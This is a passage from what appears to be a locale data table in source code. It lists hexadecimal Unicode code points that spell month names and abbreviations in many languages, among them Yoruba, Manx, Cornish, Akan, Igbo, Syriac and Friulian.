0x64, 0x75, 0x3b, 0x41, 0x67, 0x1eb9, 0x6d, 0x1ecd, 0x3b, 0xd2, 0x67, +0xfa, 0x6e, 0x3b, 0x4f, 0x77, 0x65, 0x77, 0x65, 0x3b, 0x1ecc, 0x300, 0x77, 0xe0, 0x72, 0xe0, 0x3b, 0x42, 0xe9, 0x6c, 0xfa, +0x3b, 0x1ecc, 0x300, 0x70, 0x1eb9, 0x300, 0x3b, 0x4f, 0x1e62, 0xf9, 0x20, 0x1e62, 0x1eb8, 0x301, 0x72, 0x1eb9, 0x301, 0x3b, 0x4f, 0x1e62, +0xf9, 0x20, 0xc8, 0x72, 0xe8, 0x6c, 0xe8, 0x3b, 0x4f, 0x1e62, 0xf9, 0x20, 0x1eb8, 0x72, 0x1eb9, 0x300, 0x6e, 0xe0, 0x3b, 0x4f, +0x1e62, 0xf9, 0x20, 0xcc, 0x67, 0x62, 0xe9, 0x3b, 0x4f, 0x1e62, 0xf9, 0x20, 0x1eb8, 0x300, 0x62, 0x69, 0x62, 0x69, 0x3b, 0x4f, +0x1e62, 0xf9, 0x20, 0xd2, 0x6b, 0xfa, 0x64, 0x75, 0x3b, 0x4f, 0x1e62, 0xf9, 0x20, 0x41, 0x67, 0x1eb9, 0x6d, 0x1ecd, 0x3b, 0x4f, +0x1e62, 0xf9, 0x20, 0xd2, 0x67, 0xfa, 0x6e, 0x3b, 0x4f, 0x1e62, 0xf9, 0x20, 0x4f, 0x77, 0x65, 0x77, 0x65, 0x3b, 0x4f, 0x1e62, +0xf9, 0x20, 0x1ecc, 0x300, 0x77, 0xe0, 0x72, 0xe0, 0x3b, 0x4f, 0x1e62, 0xf9, 0x20, 0x42, 0xe9, 0x6c, 0xfa, 0x3b, 0x4f, 0x1e62, +0xf9, 0x20, 0x1ecc, 0x300, 0x70, 0x1eb9, 0x300, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x73, 0x3b, +0x41, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x79, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x61, 0x3b, +0x53, 0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x69, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x75, +0x77, 0x61, 0x72, 0x69, 0x3b, 0x46, 0x65, 0x62, 0x72, 0x75, 0x77, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x73, 0x68, 0x69, +0x3b, 0x41, 0x70, 0x72, 0x65, 0x6c, 0x69, 0x3b, 0x4d, 0x65, 0x79, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, +0x6c, 0x61, 0x79, 0x69, 0x3b, 0x41, 0x67, 0x61, 0x73, 0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x68, 0x65, 0x6d, 0x62, +0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x68, 0x6f, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x69, +0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, +0x72, 0x3b, 0x4d, 0x61, 0x6a, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x76, 0x67, 0x3b, 0x53, 0x65, +0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x63, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, +0x3b, 0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x3b, 0x4d, 0x61, 0x72, 0x74, 0x3b, 0x41, 0x70, 0x72, 0x69, 0x6c, 0x3b, +0x4d, 0x61, 0x6a, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x69, 0x3b, 0x41, 0x76, 0x67, 0x75, 0x73, 0x74, +0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x72, 0x3b, 0x4e, +0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x44, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x4a, 0x2d, 0x67, +0x75, 0x65, 0x72, 0x3b, 0x54, 0x2d, 0x61, 0x72, 0x72, 0x65, 0x65, 0x3b, 0x4d, 0x61, 0x79, 0x72, 0x6e, 0x74, 0x3b, 0x41, +0x76, 0x72, 0x72, 0x69, 0x6c, 0x3b, 0x42, 0x6f, 0x61, 0x6c, 0x64, 0x79, 0x6e, 0x3b, 0x4d, 0x2d, 0x73, 0x6f, 0x75, 0x72, +0x65, 0x65, 0x3b, 0x4a, 0x2d, 0x73, 0x6f, 0x75, 0x72, 0x65, 0x65, 0x3b, 0x4c, 0x75, 0x61, 0x6e, 0x69, 0x73, 0x74, 0x79, +0x6e, 0x3b, 0x4d, 0x2d, 0x66, 0x6f, 0x75, 0x79, 0x69, 0x72, 0x3b, 0x4a, 0x2d, 0x66, 0x6f, 0x75, 0x79, 0x69, 0x72, 0x3b, +0x4d, 0x2e, 0x48, 0x6f, 0x75, 0x6e, 0x65, 0x79, 0x3b, 0x4d, 0x2e, 0x4e, 0x6f, 0x6c, 0x6c, 0x69, 0x63, 0x6b, 0x3b, 0x4a, +0x65, 0x72, 0x72, 0x65, 0x79, 0x2d, 0x67, 0x65, 0x75, 0x72, 0x65, 0x65, 0x3b, 0x54, 0x6f, 0x73, 0x68, 0x69, 0x61, 0x67, +0x68, 0x74, 0x2d, 0x61, 0x72, 0x72, 0x65, 0x65, 0x3b, 0x4d, 0x61, 0x79, 0x72, 0x6e, 0x74, 0x3b, 0x41, 0x76, 0x65, 0x72, +0x69, 0x6c, 0x3b, 0x42, 0x6f, 0x61, 0x6c, 0x64, 0x79, 0x6e, 0x3b, 0x4d, 0x65, 0x61, 0x6e, 0x2d, 0x73, 0x6f, 0x75, 0x72, +0x65, 0x65, 0x3b, 0x4a, 0x65, 0x72, 0x72, 0x65, 0x79, 0x2d, 0x73, 0x6f, 0x75, 0x72, 0x65, 0x65, 0x3b, 0x4c, 0x75, 0x61, +0x6e, 0x69, 0x73, 0x74, 0x79, 0x6e, 0x3b, 0x4d, 0x65, 0x61, 0x6e, 0x2d, 0x66, 0x6f, 0x75, 0x79, 0x69, 0x72, 0x3b, 0x4a, +0x65, 0x72, 0x72, 0x65, 0x79, 0x2d, 0x66, 0x6f, 0x75, 0x79, 0x69, 0x72, 0x3b, 0x4d, 0x65, 0x65, 0x20, 0x48, 0x6f, 0x75, +0x6e, 0x65, 0x79, 0x3b, 0x4d, 0x65, 0x65, 0x20, 0x6e, 0x79, 0x20, 0x4e, 0x6f, 0x6c, 0x6c, 0x69, 0x63, 0x6b, 0x3b, 0x47, +0x65, 0x6e, 0x3b, 0x57, 0x68, 0x65, 0x3b, 0x4d, 0x65, 0x72, 0x3b, 0x45, 0x62, 0x72, 0x3b, 0x4d, 0x65, 0x3b, 0x45, 0x66, +0x6e, 0x3b, 0x47, 0x6f, 0x72, 0x3b, 0x45, 0x73, 0x74, 0x3b, 0x47, 0x77, 0x6e, 0x3b, 0x48, 0x65, 0x64, 0x3b, 0x44, 0x75, +0x3b, 0x4b, 0x65, 0x76, 0x3b, 0x4d, 0x79, 0x73, 0x20, 0x47, 0x65, 0x6e, 0x76, 0x65, 0x72, 0x3b, 0x4d, 0x79, 0x73, 0x20, +0x57, 0x68, 0x65, 0x76, 0x72, 0x65, 0x6c, 0x3b, 0x4d, 0x79, 0x73, 0x20, 0x4d, 0x65, 0x72, 0x74, 0x68, 0x3b, 0x4d, 0x79, +0x73, 0x20, 0x45, 0x62, 0x72, 0x65, 0x6c, 0x3b, 0x4d, 0x79, 0x73, 0x20, 0x4d, 0x65, 0x3b, 0x4d, 0x79, 0x73, 0x20, 0x45, +0x66, 0x61, 0x6e, 0x3b, 0x4d, 0x79, 0x73, 0x20, 0x47, 0x6f, 0x72, 0x74, 0x68, 0x65, 0x72, 0x65, 0x6e, 0x3b, 0x4d, 0x79, +0x65, 0x20, 0x45, 0x73, 0x74, 0x3b, 0x4d, 0x79, 0x73, 0x20, 0x47, 0x77, 0x79, 0x6e, 0x67, 0x61, 0x6c, 0x61, 0x3b, 0x4d, +0x79, 0x73, 0x20, 0x48, 0x65, 0x64, 0x72, 0x61, 0x3b, 0x4d, 0x79, 0x73, 0x20, 0x44, 0x75, 0x3b, 0x4d, 0x79, 0x73, 0x20, +0x4b, 0x65, 0x76, 0x61, 0x72, 0x64, 0x68, 0x75, 0x3b, 0x53, 0x2d, 0x186, 0x3b, 0x4b, 0x2d, 0x186, 0x3b, 0x45, 0x2d, 0x186, +0x3b, 0x45, 0x2d, 0x4f, 0x3b, 0x45, 0x2d, 0x4b, 0x3b, 0x4f, 0x2d, 0x41, 0x3b, 0x41, 0x2d, 0x4b, 0x3b, 0x44, 0x2d, 0x186, +0x3b, 0x46, 0x2d, 0x190, 0x3b, 0x186, 0x2d, 0x41, 0x3b, 0x186, 0x2d, 0x4f, 0x3b, 0x4d, 0x2d, 0x186, 0x3b, 0x53, 0x61, 0x6e, +0x64, 0x61, 0x2d, 0x186, 0x70, 0x25b, 0x70, 0x254, 0x6e, 0x3b, 0x4b, 0x77, 0x61, 0x6b, 0x77, 0x61, 0x72, 0x2d, 0x186, 0x67, +0x79, 0x65, 0x66, 0x75, 0x6f, 0x3b, 0x45, 0x62, 0x254, 0x77, 0x2d, 0x186, 0x62, 0x65, 0x6e, 0x65, 0x6d, 0x3b, 0x45, 0x62, +0x254, 0x62, 0x69, 0x72, 0x61, 0x2d, 0x4f, 0x66, 0x6f, 0x72, 0x69, 0x73, 0x75, 0x6f, 0x3b, 0x45, 0x73, 0x75, 0x73, 0x6f, +0x77, 0x20, 0x41, 0x6b, 0x65, 0x74, 0x73, 0x65, 0x61, 0x62, 0x61, 0x2d, 0x4b, 0x254, 0x74, 0x254, 0x6e, 0x69, 0x6d, 0x62, +0x61, 0x3b, 0x4f, 0x62, 0x69, 0x72, 0x61, 0x64, 0x65, 0x2d, 0x41, 0x79, 0x25b, 0x77, 0x6f, 0x68, 0x6f, 0x6d, 0x75, 0x6d, +0x75, 0x3b, 0x41, 0x79, 0x25b, 0x77, 0x6f, 0x68, 0x6f, 0x2d, 0x4b, 0x69, 0x74, 0x61, 0x77, 0x6f, 0x6e, 0x73, 0x61, 0x3b, +0x44, 0x69, 0x66, 0x75, 0x75, 0x2d, 0x186, 0x73, 0x61, 0x6e, 0x64, 0x61, 0x61, 0x3b, 0x46, 0x61, 0x6e, 0x6b, 0x77, 0x61, +0x2d, 0x190, 0x62, 0x254, 0x3b, 0x186, 0x62, 0x25b, 0x73, 0x25b, 0x2d, 0x41, 0x68, 0x69, 0x6e, 0x69, 0x6d, 0x65, 0x3b, 0x186, +0x62, 0x65, 0x72, 0x25b, 0x66, 0x25b, 0x77, 0x2d, 0x4f, 0x62, 0x75, 0x62, 0x75, 0x6f, 0x3b, 0x4d, 0x75, 0x6d, 0x75, 0x2d, +0x186, 0x70, 0x25b, 0x6e, 0x69, 0x6d, 0x62, 0x61, 0x3b, 0x91c, 0x93e, 0x928, 0x947, 0x935, 0x93e, 0x930, 0x940, 0x3b, 0x92b, 0x947, +0x92c, 0x94d, 0x930, 0x941, 0x935, 0x93e, 0x930, 0x940, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, 0x91a, 0x3b, 0x90f, 0x92a, 0x94d, 0x930, 0x93f, +0x932, 0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x942, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x948, 0x3b, 0x913, 0x917, 0x938, 0x94d, 0x91f, 0x3b, +0x938, 0x947, 0x92a, 0x94d, 0x91f, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x913, 0x915, 0x94d, 0x91f, 0x94b, 0x92c, 0x930, 0x3b, 0x928, 0x94b, +0x935, 0x94d, 0x939, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x921, 0x93f, 0x938, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x41, 0x68, 0x61, 0x3b, +0x4f, 0x66, 0x6c, 0x3b, 0x4f, 0x63, 0x68, 0x3b, 0x41, 0x62, 0x65, 0x3b, 0x41, 0x67, 0x62, 0x3b, 0x4f, 0x74, 0x75, 0x3b, +0x4d, 0x61, 0x61, 0x3b, 0x4d, 0x61, 0x6e, 0x3b, 0x47, 0x62, 0x6f, 0x3b, 0x41, 0x6e, 0x74, 0x3b, 0x41, 0x6c, 0x65, 0x3b, +0x41, 0x66, 0x75, 0x3b, 0x41, 0x68, 0x61, 0x72, 0x61, 0x62, 0x61, 0x74, 0x61, 0x3b, 0x4f, 0x66, 0x6c, 0x6f, 0x3b, 0x4f, +0x63, 0x68, 0x6f, 0x6b, 0x72, 0x69, 0x6b, 0x72, 0x69, 0x3b, 0x41, 0x62, 0x65, 0x69, 0x62, 0x65, 0x65, 0x3b, 0x41, 0x67, +0x62, 0x65, 0x69, 0x6e, 0x61, 0x61, 0x3b, 0x4f, 0x74, 0x75, 0x6b, 0x77, 0x61, 0x64, 0x61, 0x6e, 0x3b, 0x4d, 0x61, 0x61, +0x77, 0x65, 0x3b, 0x4d, 0x61, 0x6e, 0x79, 0x61, 0x77, 0x61, 0x6c, 0x65, 0x3b, 0x47, 0x62, 0x6f, 0x3b, 0x41, 0x6e, 0x74, +0x6f, 0x6e, 0x3b, 0x41, 0x6c, 0x65, 0x6d, 0x6c, 0x65, 0x3b, 0x41, 0x66, 0x75, 0x61, 0x62, 0x65, 0x65, 0x3b, 0x4a, 0x65, +0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x61, 0x3b, 0x45, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x65, 0x3b, 0x4a, 0x75, +0x75, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x1ecc, 0x67, 0x1ecd, 0x3b, 0x53, 0x65, 0x70, 0x3b, 0x1ecc, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, +0x76, 0x3b, 0x44, 0x69, 0x73, 0x3b, 0x4a, 0x65, 0x6e, 0x1ee5, 0x77, 0x61, 0x72, 0x1ecb, 0x3b, 0x46, 0x65, 0x62, 0x72, 0x1ee5, +0x77, 0x61, 0x72, 0x1ecb, 0x3b, 0x4d, 0x61, 0x61, 0x63, 0x68, 0x1ecb, 0x3b, 0x45, 0x70, 0x72, 0x65, 0x6c, 0x3b, 0x4d, 0x65, +0x65, 0x3b, 0x4a, 0x75, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x1ecb, 0x3b, 0x1ecc, 0x67, 0x1ecd, 0x1ecd, 0x73, 0x74, 0x3b, +0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x1ecc, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, +0x6d, 0x62, 0x61, 0x3b, 0x44, 0x69, 0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4d, 0x62, 0x65, 0x3b, 0x4b, 0x65, 0x6c, 0x3b, +0x4b, 0x74, 0x169, 0x3b, 0x4b, 0x61, 0x6e, 0x3b, 0x4b, 0x74, 0x6e, 0x3b, 0x54, 0x68, 0x61, 0x3b, 0x4d, 0x6f, 0x6f, 0x3b, +0x4e, 0x79, 0x61, 0x3b, 0x4b, 0x6e, 0x64, 0x3b, 0x128, 0x6b, 0x75, 0x3b, 0x128, 0x6b, 0x6d, 0x3b, 0x128, 0x6b, 0x6c, 0x3b, +0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6d, 0x62, 0x65, 0x65, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, +0x20, 0x6b, 0x65, 0x6c, 0x129, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x74, 0x61, 0x74, 0x169, +0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, +0x61, 0x20, 0x6b, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x74, 0x68, 0x61, +0x6e, 0x74, 0x68, 0x61, 0x74, 0x169, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6d, 0x75, 0x6f, 0x6e, 0x7a, +0x61, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6e, 0x79, 0x61, 0x61, 0x6e, 0x79, 0x61, 0x3b, 0x4d, 0x77, +0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, +0x129, 0x6b, 0x75, 0x6d, 0x69, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x129, 0x6b, 0x75, 0x6d, 0x69, 0x20, +0x6e, 0x61, 0x20, 0x129, 0x6d, 0x77, 0x65, 0x3b, 0x4d, 0x77, 0x61, 0x69, 0x20, 0x77, 0x61, 0x20, 0x129, 0x6b, 0x75, 0x6d, +0x69, 0x20, 0x6e, 0x61, 0x20, 0x69, 0x6c, 0x129, 0x3b, 0x4d, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x54, +0x3b, 0x4d, 0x3b, 0x4e, 0x3b, 0x4b, 0x3b, 0x128, 0x3b, 0x128, 0x3b, 0x128, 0x3b, 0x70f, 0x71f, 0x722, 0x20, 0x70f, 0x712, 0x3b, +0x72b, 0x712, 0x71b, 0x3b, 0x710, 0x715, 0x72a, 0x3b, 0x722, 0x71d, 0x723, 0x722, 0x3b, 0x710, 0x71d, 0x72a, 0x3b, 0x71a, 0x719, 0x71d, +0x72a, 0x722, 0x3b, 0x72c, 0x721, 0x718, 0x719, 0x3b, 0x710, 0x712, 0x3b, 0x710, 0x71d, 0x720, 0x718, 0x720, 0x3b, 0x70f, 0x72c, 0x72b, +0x20, 0x70f, 0x710, 0x3b, 0x70f, 0x72c, 0x72b, 0x20, 0x70f, 0x712, 0x3b, 0x70f, 0x71f, 0x722, 0x20, 0x70f, 0x710, 0x3b, 0x120d, 0x12f0, +0x1275, 0x3b, 0x12ab, 0x1265, 0x12bd, 0x3b, 0x12ad, 0x1265, 0x120b, 0x3b, 0x134b, 0x1305, 0x12ba, 0x3b, 0x12ad, 0x1262, 0x1245, 0x3b, 0x121d, 0x2f, +0x1275, 0x3b, 0x12b0, 0x122d, 0x3b, 0x121b, 0x122d, 0x12eb, 0x3b, 0x12eb, 0x12b8, 0x1292, 0x3b, 0x1218, 0x1270, 0x1209, 0x3b, 0x121d, 0x2f, 0x121d, +0x3b, 0x1270, 0x1215, 0x1233, 0x3b, 0x120d, 0x12f0, 0x1275, 0x122a, 0x3b, 0x12ab, 0x1265, 0x12bd, 0x1265, 0x1272, 0x3b, 0x12ad, 0x1265, 0x120b, 0x3b, +0x134b, 0x1305, 0x12ba, 0x122a, 0x3b, 0x12ad, 0x1262, 0x1245, 0x122a, 0x3b, 0x121d, 0x12aa, 0x12a4, 0x120d, 0x20, 0x1275, 0x131f, 0x1292, 0x122a, 0x3b, +0x12b0, 0x122d, 0x12a9, 0x3b, 0x121b, 0x122d, 0x12eb, 0x121d, 0x20, 0x1275, 0x122a, 0x3b, 0x12eb, 0x12b8, 0x1292, 0x20, 0x1218, 0x1233, 0x1245, 0x1208, +0x122a, 0x3b, 0x1218, 0x1270, 0x1209, 0x3b, 0x121d, 0x12aa, 0x12a4, 0x120d, 0x20, 0x1218, 0x123d, 0x12c8, 0x122a, 0x3b, 0x1270, 0x1215, 0x1233, 0x1235, +0x122a, 0x3b, 0x120d, 0x3b, 0x12ab, 0x3b, 0x12ad, 0x3b, 0x134b, 0x3b, 0x12ad, 0x3b, 0x121d, 0x3b, 0x12b0, 0x3b, 0x121b, 0x3b, 0x12eb, 0x3b, +0x1218, 0x3b, 0x121d, 0x3b, 0x1270, 0x3b, 0x1320, 0x1210, 0x1228, 0x3b, 0x12a8, 0x1270, 0x1270, 0x3b, 0x1218, 0x1308, 0x1260, 0x3b, 0x12a0, 0x1280, +0x12d8, 0x3b, 0x130d, 0x1295, 0x1263, 0x1275, 0x3b, 0x1220, 0x1295, 0x12e8, 0x3b, 0x1210, 0x1218, 0x1208, 0x3b, 0x1290, 0x1210, 0x1230, 0x3b, 0x12a8, +0x1228, 0x1218, 0x3b, 0x1320, 0x1240, 0x1218, 0x3b, 0x1280, 0x12f0, 0x1228, 0x3b, 0x1280, 0x1220, 0x1220, 0x3b, 0x1320, 0x3b, 0x12a8, 0x3b, 0x1218, +0x3b, 0x12a0, 0x3b, 0x130d, 0x3b, 0x1220, 0x3b, 0x1210, 0x3b, 0x1290, 0x3b, 0x12a8, 0x3b, 0x1320, 0x3b, 0x1280, 0x3b, 0x1280, 0x3b, 0x57, +0x65, 0x79, 0x3b, 0x46, 0x61, 0x6e, 0x3b, 0x54, 0x61, 0x74, 0x3b, 0x4e, 0x61, 0x6e, 0x3b, 0x54, 0x75, 0x79, 0x3b, 0x54, +0x73, 0x6f, 0x3b, 0x54, 0x61, 0x66, 0x3b, 0x57, 0x61, 0x72, 0x3b, 0x4b, 0x75, 0x6e, 0x3b, 0x42, 0x61, 0x6e, 0x3b, 0x4b, +0x6f, 0x6d, 0x3b, 0x53, 0x61, 0x75, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x57, 0x65, 0x79, 0x65, 0x6e, 0x65, 0x3b, 0x46, 0x61, +0x69, 0x20, 0x46, 0x61, 0x6e, 0x69, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x54, 0x61, 0x74, 0x61, 0x6b, 0x61, 0x3b, 0x46, 0x61, +0x69, 0x20, 0x4e, 0x61, 0x6e, 0x67, 0x72, 0x61, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x54, 0x75, 0x79, 0x6f, 0x3b, 0x46, 0x61, +0x69, 0x20, 0x54, 0x73, 0x6f, 0x79, 0x69, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x54, 0x61, 0x66, 0x61, 0x6b, 0x61, 0x3b, 0x46, +0x61, 0x69, 0x20, 0x57, 0x61, 0x72, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x4b, 0x75, 0x6e, 0x6f, 0x62, +0x6f, 0x6b, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x42, 0x61, 0x6e, 0x73, 0x6f, 0x6b, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x4b, 0x6f, +0x6d, 0x3b, 0x46, 0x61, 0x69, 0x20, 0x53, 0x61, 0x75, 0x6b, 0x3b, 0x44, 0x79, 0x6f, 0x6e, 0x3b, 0x42, 0x61, 0x61, 0x3b, +0x41, 0x74, 0x61, 0x74, 0x3b, 0x41, 0x6e, 0x61, 0x73, 0x3b, 0x41, 0x74, 0x79, 0x6f, 0x3b, 0x41, 0x63, 0x68, 0x69, 0x3b, +0x41, 0x74, 0x61, 0x72, 0x3b, 0x41, 0x77, 0x75, 0x72, 0x3b, 0x53, 0x68, 0x61, 0x64, 0x3b, 0x53, 0x68, 0x61, 0x6b, 0x3b, +0x4e, 0x61, 0x62, 0x61, 0x3b, 0x4e, 0x61, 0x74, 0x61, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x44, 0x79, 0x6f, 0x6e, 0x3b, 0x50, +0x65, 0x6e, 0x20, 0x42, 0x61, 0x27, 0x61, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x41, 0x74, 0x61, 0x74, 0x3b, 0x50, 0x65, 0x6e, +0x20, 0x41, 0x6e, 0x61, 0x73, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x41, 0x74, 0x79, 0x6f, 0x6e, 0x3b, 0x50, 0x65, 0x6e, 0x20, +0x41, 0x63, 0x68, 0x69, 0x72, 0x69, 0x6d, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x41, 0x74, 0x61, 0x72, 0x69, 0x62, 0x61, 0x3b, +0x50, 0x65, 0x6e, 0x20, 0x41, 0x77, 0x75, 0x72, 0x72, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x53, 0x68, 0x61, 0x64, 0x6f, 0x6e, +0x3b, 0x50, 0x65, 0x6e, 0x20, 0x53, 0x68, 0x61, 0x6b, 0x75, 0x72, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x4b, 0x75, 0x72, 0x20, +0x4e, 0x61, 0x62, 0x61, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x4b, 0x75, 0x72, 0x20, 0x4e, 0x61, 0x74, 0x61, 0x74, 0x3b, 0x41, +0x331, 0x79, 0x72, 0x3b, 0x41, 0x331, 0x68, 0x77, 0x3b, 0x41, 0x331, 0x74, 0x61, 0x3b, 0x41, 0x331, 0x6e, 0x61, 0x3b, 0x41, +0x331, 0x70, 0x66, 0x3b, 0x41, 0x331, 0x6b, 0x69, 0x3b, 0x41, 0x331, 0x74, 0x79, 0x3b, 0x41, 0x331, 0x6e, 0x69, 0x3b, 0x41, +0x331, 0x6b, 0x75, 0x3b, 0x53, 0x77, 0x61, 0x3b, 0x53, 0x62, 0x79, 0x3b, 0x53, 0x62, 0x68, 0x3b, 0x48, 0x79, 0x77, 0x61, +0x6e, 0x20, 0x41, 0x331, 0x79, 0x72, 0x6e, 0x69, 0x67, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x68, 0x77, +0x61, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x74, 0x61, 0x74, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, +0x41, 0x331, 0x6e, 0x61, 0x61, 0x69, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x70, 0x66, 0x77, 0x6f, 0x6e, +0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x6b, 0x69, 0x74, 0x61, 0x74, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, +0x20, 0x41, 0x331, 0x74, 0x79, 0x69, 0x72, 0x69, 0x6e, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x6e, 0x69, +0x6e, 0x61, 0x69, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x6b, 0x75, 0x6d, 0x76, 0x69, 0x72, 0x69, 0x79, +0x69, 0x6e, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x53, 0x77, 0x61, 0x6b, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, +0x53, 0x77, 0x61, 0x6b, 0x20, 0x42, 0x27, 0x61, 0x331, 0x79, 0x72, 0x6e, 0x69, 0x67, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, +0x20, 0x53, 0x77, 0x61, 0x6b, 0x20, 0x42, 0x27, 0x61, 0x331, 0x68, 0x77, 0x61, 0x3b, 0x5a, 0x65, 0x6e, 0x3b, 0x46, 0x65, +0x76, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x76, 0x72, 0x3b, 0x4d, 0x61, 0x69, 0x3b, 0x4a, 0x75, 0x67, 0x3b, 0x4c, 0x75, +0x69, 0x3b, 0x41, 0x76, 0x6f, 0x3b, 0x53, 0x65, 0x74, 0x3b, 0x4f, 0x74, 0x75, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x69, +0x63, 0x3b, 0x5a, 0x65, 0x6e, 0xe2, 0x72, 0x3b, 0x46, 0x65, 0x76, 0x72, 0xe2, 0x72, 0x3b, 0x4d, 0x61, 0x72, 0xe7, 0x3b, +0x41, 0x76, 0x72, 0xee, 0x6c, 0x3b, 0x4d, 0x61, 0x69, 0x3b, 0x4a, 0x75, 0x67, 0x6e, 0x3b, 0x4c, 0x75, 0x69, 0x3b, 0x41, +0x76, 0x6f, 0x73, 0x74, 0x3b, 0x53, 0x65, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x4f, 0x74, 0x75, 0x62, 0x61, 0x72, +0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x44, 0x69, 0x63, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x5a, +0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x4c, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, +0x3b, 0x44, 0x3b, 0x50, 